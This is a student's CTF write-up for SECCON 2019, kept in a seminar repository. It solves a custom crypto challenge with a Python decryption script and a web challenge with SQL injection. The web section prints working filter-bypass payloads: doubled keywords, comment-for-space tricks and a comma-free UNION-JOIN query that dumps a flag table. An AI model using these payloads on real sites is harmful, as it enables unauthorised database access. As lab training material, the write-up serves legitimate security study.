]> git.somenet.org - pub/jan/ctf-seminar.git/blob - writeups/toaster/seccon19.md
Add OTW writeup and spent time to seccon writeup
[pub/jan/ctf-seminar.git] / writeups / toaster / seccon19.md
1 # SECCON 2019
2 Unfortunately I didn't have much time this weekend so I couldn't play many challenges. Also, I was playing on saturday evening, so both of the challenges I solved where already solved by team mates.
3 I was looking for some (more or less) short and easy challenges and I found two which I will describe in this writeup. I also tried some others (`Option-Cmd-U` and `Beeeeeeeeeer`) but not long enough (~1h) to be mentioned in this writeup.
4
5 All in all I had fun solving the smaller challenges and was happy that there were some easier challenges too. It was very satisfying getting those flags, allthough it wasn't that hard. I also found out some new tricks how to bypass filters against SQL injection.
6
7 #### coffee_break (~3h)
8 ##### Overview
9 I am usually not into crypto challenges (Still have bad memories about that mitm-crypto challenge of the InetSec course. Just kidding, was a nice challenge @cluosh), however this challenge had many solves in comparison to the others, so I tried my luck.
10 In this challenge you had an encrypted message/flag given in the challenge description and the source code of an encryption script.
11
12 ##### Exploit
13 For the exploit I simply reversed the steps taken in the encryption script to write a decryption script:
14
15 ```python
16 import sys
17 from Crypto.Cipher import AES
18 import base64
19
20 def decrypt(key, text):
21     s = ''
22     for i in range(len(text)):
23         s += chr((((ord(text[i]) - 0x20) - (ord(key[i % len(key)]) - 0x20)) % (0x7e - 0x20 + 1)) + 0x20)
24     return s
25
26 key1 = "SECCON"
27 key2 = "seccon2019"
28 text = sys.argv[1]
29
30 dec1 = base64.b64decode(text)
31 cipher = AES.new(key2 + chr(0x00) * (16 - (len(key2) % 16)), AES.MODE_ECB)
32 p = 16 - (len(dec1) % 16)
33 dec2 = cipher.decrypt(dec1 + chr(p) * p)
34 print decrypt(key1, dec2)
35 ```
36
37 Executed with `python decrypt.py FyRyZNBO2MG6ncd3hEkC/yeYKUseI/CxYoZiIeV2fe/Jmtwx+WbWmU1gtMX9m905` this script gives us the correct flag. (`FyRyZN...` is the encrypted flag given in the challenge description.)
38 My script only works with python 2 and adds gibberish at the end of the output, but the flag was correct so I didn't correct it.
39
40 Flag: `SECCON{Success_Decryption_Yeah_Yeah_SECCON}`
41
42
43 #### web_search (~8h)
44 ##### Overview
45 This web page displays some RFCs with the possibility to filter them. You can enter a search term and the page filters the entries accordingly.
46
47 ##### Exploit
48 When I saw the page for the first time, I tried out the search function. I entered something like "random" because I saw some RFC with the text "randomly". After I pressed "Search", the text in the text field changed to "rom" which was really weird. After a few seconds and with the thought that there could be a SQL injection vulnerability, I grasped that the SQL keyword `AND` was removed in my search term. I confirmed that by trying a few other search terms containing the `OR` and `AND` keywords.
49
50 Now I tried SQL commands like `'OR '1'='1` but I had to find a way to bypass the removal of SQL keywords. I entered something like `'OORR '1'='1` and somehow the middle `OR` gets removed but then one `OR` is still remaining, so the first step was made.
51 Second problem I had to solve was that whitespaces are also removed. Luckily I remembered one trick from the IntroSec course, where whitespaces can be replaced with a comment (`/**/`).
52 Unfortunately, no secret messages or something were shown so I played around with my query a little bit.
53 I added a comment after it with `#` because `--` led to an error: `'OORR/**/'1'='1'#`
54
55 Now I finally got something to see:
56 ```
57 FLAG
58 The flag is "SECCON{Yeah_Sqli_Success_" ... well, the rest of flag is in "flag" table. Try more!
59 ```
60 I then tried some UNION commands. But when I tried to use `'OORR/**/'1'='0'/**/UNION/**/SELECT/**/1,1,1#` I saw that commas are removed. So I had to use a UNION command without commas using JOINS to find out the number of columns:
61 ```sql
62 'OORR/**/'1'='0'/**/UNION/**/SELECT/**/*FROM/**/(SELECT/**/1)/**/AS/**/a/**/JOIN/**/(SELECT/**/1)/**/AS/**/b/**/JOIN/**/(SELECT/**/1)/**/AS/**/c#`
63 ```
64 I tried this command with one and two columns before and got errors. When I tried it with three columns the query was successful, so I knew that three specified columns were needed for the query to succeed.
65 So now I simply tried
66 ```sql
67 'OORR/**/'1'='0'/**/UNION/**/SELECT/**/*FROM/**/(SELECT/**/*FROM/**/flag)/**/AS/**/a/**/JOIN/**/(SELECT/**/1)/**/AS/**/b/**/JOIN/**/(SELECT/**/1)/**/AS/**/c#`
68 ```
69 and it succeeded. I got to see this on the bottom of the page:
70 ```
71 You_Win_Yeah}
72 1
73 ```
74 I didn't think this would work as I didn't know the number of columns of the flag table. Apparently it only has one column so my payload works. Otherwise I would have had to get the names of the columns via the `INFORMATION_SCHEMA` table.
75
76 Now I can simply concatenate those two pieces of the flag: `SECCON{Yeah_Sqli_Success_You_Win_Yeah}`